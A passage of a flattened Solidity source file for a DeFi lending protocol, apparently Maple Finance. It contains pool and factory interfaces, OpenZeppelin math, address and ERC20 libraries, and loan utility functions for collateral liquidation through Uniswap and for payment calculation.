lossesPerShare() external view returns (uint256); function recognizableLossesOf(address) external view returns (uint256); function recognizedLossesOf(address) external view returns (uint256); function accumulativeLossesOf(address) external view returns (uint256); function updateLossesReceived() external; } ////// contracts/token/interfaces/IPoolFDT.sol /* pragma solidity 0.6.11; */ /* import "./IExtendedFDT.sol"; */ interface IPoolFDT is IExtendedFDT { function interestSum() external view returns (uint256); function poolLosses() external view returns (uint256); function interestBalance() external view returns (uint256); function lossesBalance() external view returns (uint256); } ////// contracts/interfaces/IPool.sol /* pragma solidity 0.6.11; */ /* import "../token/interfaces/IPoolFDT.sol"; */ interface IPool is IPoolFDT { function poolDelegate() external view returns (address); function poolAdmins(address) external view returns (bool); function deposit(uint256) external; function increaseCustodyAllowance(address, uint256) external; function transferByCustodian(address, address, uint256) external; function poolState() external view returns (uint256); function deactivate() external; function finalize() external; function claim(address, address) external returns (uint256[7] memory); function setLockupPeriod(uint256) external; function setStakingFee(uint256) external; function setPoolAdmin(address, bool) external; function fundLoan(address, address, uint256) external; function withdraw(uint256) external; function superFactory() external view returns (address); function triggerDefault(address, address) external; function isPoolFinalized() external view returns (bool); function setOpenToPublic(bool) external; function setAllowList(address, bool) external; function allowedLiquidityProviders(address) external view returns (bool); function openToPublic() external view returns (bool); function intendToWithdraw() external; function DL_FACTORY() external view returns (uint8); function liquidityAsset() external view returns (address); function liquidityLocker() external view returns (address); function stakeAsset() external view returns (address); function stakeLocker() external view returns (address); function stakingFee() external view returns (uint256); function delegateFee() external view returns (uint256); function principalOut() external view returns (uint256); function liquidityCap() external view returns (uint256); function lockupPeriod() external view returns (uint256); function depositDate(address) external view returns (uint256); function debtLockers(address, address) external view returns (address); function withdrawCooldown(address) external view returns (uint256); function setLiquidityCap(uint256) external; function cancelWithdraw() external; function reclaimERC20(address) external; function BPTVal(address, address, address, address) external view returns (uint256); function isDepositAllowed(uint256) external view returns (bool); function getInitialStakeRequirements() external view returns (uint256, uint256, bool, uint256, uint256); } ////// contracts/interfaces/IPoolFactory.sol /* pragma solidity 0.6.11; */ interface IPoolFactory { function LL_FACTORY() external view returns (uint8); function SL_FACTORY() external view returns (uint8); function poolsCreated() external view returns (uint256); function globals() external view returns (address); function pools(uint256) external view returns (address); function isPool(address) external view returns (bool); function poolFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createPool(address, address, address, address, uint256, uint256, uint256) external returns (address); function setPoolFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IPremiumCalc.sol /* pragma solidity 0.6.11; */ interface IPremiumCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function premiumFee() external view returns (uint256); function getPremiumPayment(address) external view returns (uint256, uint256, uint256); } ////// contracts/interfaces/IRepaymentCalc.sol /* pragma solidity 0.6.11; */ interface IRepaymentCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function getNextPayment(address) external view returns (uint256, uint256, uint256); } ////// contracts/interfaces/IUniswapRouter.sol /* pragma solidity 0.6.11; */ interface IUniswapRouter { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function WETH() external pure returns (address); } ////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// contracts/library/Util.sol /* pragma solidity 0.6.11; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /// @title Util is a library that contains utility functions. library Util { using SafeMath for uint256; /** @dev Calculates the minimum amount from a swap (adjustable for price slippage). @param globals Instance of a MapleGlobals. @param fromAsset Address of ERC-20 that will be swapped. @param toAsset Address of ERC-20 that will returned from swap. @param swapAmt Amount of `fromAsset` to be swapped. @return Expected amount of `toAsset` to receive from swap based on current oracle prices. */ function calcMinAmount(IMapleGlobals globals, address fromAsset, address toAsset, uint256 swapAmt) external view returns (uint256) { return swapAmt .mul(globals.getLatestPrice(fromAsset)) // Convert from `fromAsset` value. .mul(10 ** IERC20Details(toAsset).decimals()) // Convert to `toAsset` decimal precision. .div(globals.getLatestPrice(toAsset)) // Convert to `toAsset` value. .div(10 ** IERC20Details(fromAsset).decimals()); // Convert from `fromAsset` decimal precision. } } ////// lib/openzeppelin-contracts/contracts/utils/Address.sol /* pragma solidity >=0.6.2 <0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /* import "../../utils/Address.sol"; */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// contracts/library/LoanLib.sol /* pragma solidity 0.6.11; */ /* import "../interfaces/ICollateralLocker.sol"; */ /* import "../interfaces/ICollateralLockerFactory.sol"; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/IFundingLocker.sol"; */ /* import "../interfaces/IFundingLockerFactory.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "../interfaces/ILateFeeCalc.sol"; */ /* import "../interfaces/ILoanFactory.sol"; */ /* import "../interfaces/IPremiumCalc.sol"; */ /* import "../interfaces/IRepaymentCalc.sol"; */ /* import "../interfaces/IUniswapRouter.sol"; */ /* import "../library/Util.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /// @title LoanLib is a library of utility functions used by Loan. library LoanLib { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /********************************/ /*** Lender Utility Functions ***/ /********************************/ /** @dev Performs sanity checks on the data passed in Loan constructor. @param globals Instance of a MapleGlobals. @param liquidityAsset Contract address of the Liquidity Asset. @param collateralAsset Contract address of the Collateral Asset. @param specs Contains specifications for this Loan. */ function loanSanityChecks(IMapleGlobals globals, address liquidityAsset, address collateralAsset, uint256[5] calldata specs) external view { require(globals.isValidLiquidityAsset(liquidityAsset), "L:INVALID_LIQ_ASSET"); require(globals.isValidCollateralAsset(collateralAsset), "L:INVALID_COL_ASSET"); require(specs[2] != uint256(0), "L:ZERO_PID"); require(specs[1].mod(specs[2]) == uint256(0), "L:INVALID_TERM_DAYS"); require(specs[3] > uint256(0), "L:ZERO_REQUEST_AMT"); } /** @dev Returns capital to Lenders, if the Borrower has not drawn down the Loan past the grace period. @param liquidityAsset IERC20 of the Liquidity Asset. @param fundingLocker Address of FundingLocker. @param createdAt Timestamp of Loan instantiation. @param fundingPeriod Duration of the funding period, after which funds can be reclaimed. @return excessReturned Amount of Liquidity Asset that was returned to the Loan from the FundingLocker. */ function unwind(IERC20 liquidityAsset, address fundingLocker, uint256 createdAt, uint256 fundingPeriod) external returns (uint256 excessReturned) { // Only callable if Loan funding period has elapsed. require(block.timestamp > createdAt.add(fundingPeriod), "L:STILL_FUNDING_PERIOD"); // Account for existing balance in Loan. uint256 preBal = liquidityAsset.balanceOf(address(this)); // Drain funding from FundingLocker, transfers all the Liquidity Asset to this Loan. IFundingLocker(fundingLocker).drain(); return liquidityAsset.balanceOf(address(this)).sub(preBal); } /** @dev Liquidates a Borrower's collateral, via Uniswap, when a default is triggered. Only the Loan can call this function. @param collateralAsset IERC20 of the Collateral Asset. @param liquidityAsset Address of Liquidity Asset. @param superFactory Factory that instantiated Loan. @param collateralLocker Address of CollateralLocker. @return amountLiquidated Amount of Collateral Asset that was liquidated. @return amountRecovered Amount of Liquidity Asset that was returned to the Loan from the liquidation. */ function liquidateCollateral( IERC20 collateralAsset, address liquidityAsset, address superFactory, address collateralLocker ) external returns ( uint256 amountLiquidated, uint256 amountRecovered ) { // Get the liquidation amount from CollateralLocker. uint256 liquidationAmt = collateralAsset.balanceOf(address(collateralLocker)); // Pull the Collateral Asset from CollateralLocker. ICollateralLocker(collateralLocker).pull(address(this), liquidationAmt); if (address(collateralAsset) == liquidityAsset || liquidationAmt == uint256(0)) return (liquidationAmt, liquidationAmt); collateralAsset.safeApprove(UNISWAP_ROUTER, uint256(0)); collateralAsset.safeApprove(UNISWAP_ROUTER, liquidationAmt); IMapleGlobals globals = _globals(superFactory); // Get minimum amount of loan asset get after swapping collateral asset. uint256 minAmount = Util.calcMinAmount(globals, address(collateralAsset), liquidityAsset, liquidationAmt); // Generate Uniswap path. address uniswapAssetForPath = globals.defaultUniswapPath(address(collateralAsset), liquidityAsset); bool middleAsset = uniswapAssetForPath != liquidityAsset && uniswapAssetForPath != address(0); address[] memory path = new address[](middleAsset ? 3 : 2); path[0] = address(collateralAsset); path[1] = middleAsset ? uniswapAssetForPath : liquidityAsset; if (middleAsset) path[2] = liquidityAsset; // Swap collateralAsset for Liquidity Asset. uint256[] memory returnAmounts = IUniswapRouter(UNISWAP_ROUTER).swapExactTokensForTokens( liquidationAmt, minAmount.sub(minAmount.mul(globals.maxSwapSlippage()).div(10_000)), path, address(this), block.timestamp ); return(returnAmounts[0], returnAmounts[path.length - 1]); } /**********************************/ /*** Governor Utility Functions ***/ /**********************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. @param liquidityAsset Address of token that is used by the loan for drawdown and payments. @param globals Instance of a MapleGlobals. */ function reclaimERC20(address token, address liquidityAsset, IMapleGlobals globals) external { require(msg.sender == globals.governor(), "L:NOT_GOV"); require(token != liquidityAsset && token != address(0), "L:INVALID_TOKEN"); IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Returns if a default can be triggered. @param nextPaymentDue Timestamp of when payment is due. @param defaultGracePeriod Amount of time after the next payment is due that a Borrower has before a liquidation can occur. @param superFactory Factory that instantiated Loan. @param balance LoanFDT balance of account trying to trigger a default. @param totalSupply Total supply of LoanFDT. @return Boolean indicating if default can be triggered. */ function canTriggerDefault(uint256 nextPaymentDue, uint256 defaultGracePeriod, address superFactory, uint256 balance, uint256 totalSupply) external view returns (bool) { bool pastDefaultGracePeriod = block.timestamp > nextPaymentDue.add(defaultGracePeriod); // Check if the Loan is past the default grace period and that the account triggering the default has a percentage of total LoanFDTs // that is greater than the minimum equity needed (specified in globals) return pastDefaultGracePeriod && balance >= ((totalSupply * _globals(superFactory).minLoanEquity()) / 10_000); } /** @dev Returns information on next payment amount. @param repaymentCalc Address of RepaymentCalc. @param nextPaymentDue Timestamp of when payment is due. @param lateFeeCalc Address of LateFeeCalc. @return total Entitled total amount needed to be paid in the next payment (Principal + Interest only when the next payment is last payment of the Loan). @return principal Entitled principal amount needed to be paid in the next payment. @return interest Entitled interest amount needed to be paid in the next payment. @return _nextPaymentDue Payment Due Date. @return paymentLate Whether payment is late. */ function getNextPayment( address repaymentCalc, uint256 nextPaymentDue, address lateFeeCalc ) external view returns ( uint256 total, uint256 principal, uint256 interest, uint256 _nextPaymentDue, bool paymentLate ) { _nextPaymentDue = nextPaymentDue; // Get next payment amounts from RepaymentCalc. (total, principal, interest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this)); paymentLate = block.timestamp > _nextPaymentDue; // If payment is late, add late fees. if (paymentLate) { uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(interest); total = total.add(lateFee); interest = interest.add(lateFee); } } /** @dev Returns information on full payment amount. @param repaymentCalc Address of RepaymentCalc. @param nextPaymentDue Timestamp of when payment is due. @param lateFeeCalc Address of LateFeeCalc. @param premiumCalc Address of PremiumCalc. @return total Principal + Interest for the full payment. @return principal Entitled principal amount needed to be paid in the full payment. @return interest Entitled interest amount needed to be paid in the full payment. */ function getFullPayment( address repaymentCalc, uint256 nextPaymentDue, address lateFeeCalc, address premiumCalc ) external view returns ( uint256 total, uint256 principal, uint256 interest ) { (total, principal, interest) = IPremiumCalc(premiumCalc).getPremiumPayment(address(this)); if (block.timestamp <= nextPaymentDue) return (total, principal, interest); // If payment is late, calculate and add late fees using interest amount from regular payment. (,, uint256 regInterest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this)); uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(regInterest); total = total.add(lateFee); interest = interest.add(lateFee); } /** @dev Calculates collateral required to drawdown amount. @param collateralAsset IERC20 of the Collateral Asset. @param liquidityAsset IERC20 of the Liquidity Asset. @param collateralRatio Percentage of drawdown value that must be posted as collateral. @param superFactory Factory that instantiated Loan. @param amt Drawdown amount. @return Amount of Collateral Asset required to post in CollateralLocker for given drawdown amount. */ function collateralRequiredForDrawdown( IERC20Details collateralAsset, IERC20Details liquidityAsset, uint256 collateralRatio, address superFactory, uint256 amt ) external view returns (uint256) { IMapleGlobals globals = _globals(superFactory); uint256 wad = _toWad(amt, liquidityAsset); // Convert to WAD precision. // Fetch current value of Liquidity Asset and Collateral Asset (Chainlink oracles provide 8 decimal precision). uint256 liquidityAssetPrice = globals.getLatestPrice(address(liquidityAsset)); uint256 collateralPrice = globals.getLatestPrice(address(collateralAsset)); // Calculate collateral required. uint256 collateralRequiredUSD = wad.mul(liquidityAssetPrice).mul(collateralRatio).div(10_000); // 18 + 8 = 26 decimals uint256 collateralRequiredWAD = collateralRequiredUSD.div(collateralPrice); // 26 - 8 = 18 decimals return collateralRequiredWAD.mul(10 ** collateralAsset.decimals()).div(10 ** 18); // 18 + collateralAssetDecimals - 18 = collateralAssetDecimals } /************************/ /*** Helper Functions ***/ /************************/ function _globals(address loanFactory) internal view returns (IMapleGlobals) { return IMapleGlobals(ILoanFactory(loanFactory).globals()); } function _toWad(uint256 amt, IERC20Details liquidityAsset) internal view returns (uint256) { return amt.mul(10 ** 18).div(10 ** liquidityAsset.decimals()); } } ////// contracts/math/SafeMathInt.sol /* pragma solidity 0.6.11; */ library SafeMathInt { function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0, "SMI:NEG"); return uint256(a); } } ////// contracts/math/SafeMathUint.sol /* pragma solidity 0.6.11; */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256 b) { b = int256(a); require(b >= 0, "SMU:OOB"); } } ////// lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } ////// lib/openzeppelin-contracts/contracts/GSN/Context.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "../../GSN/Context.sol"; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { 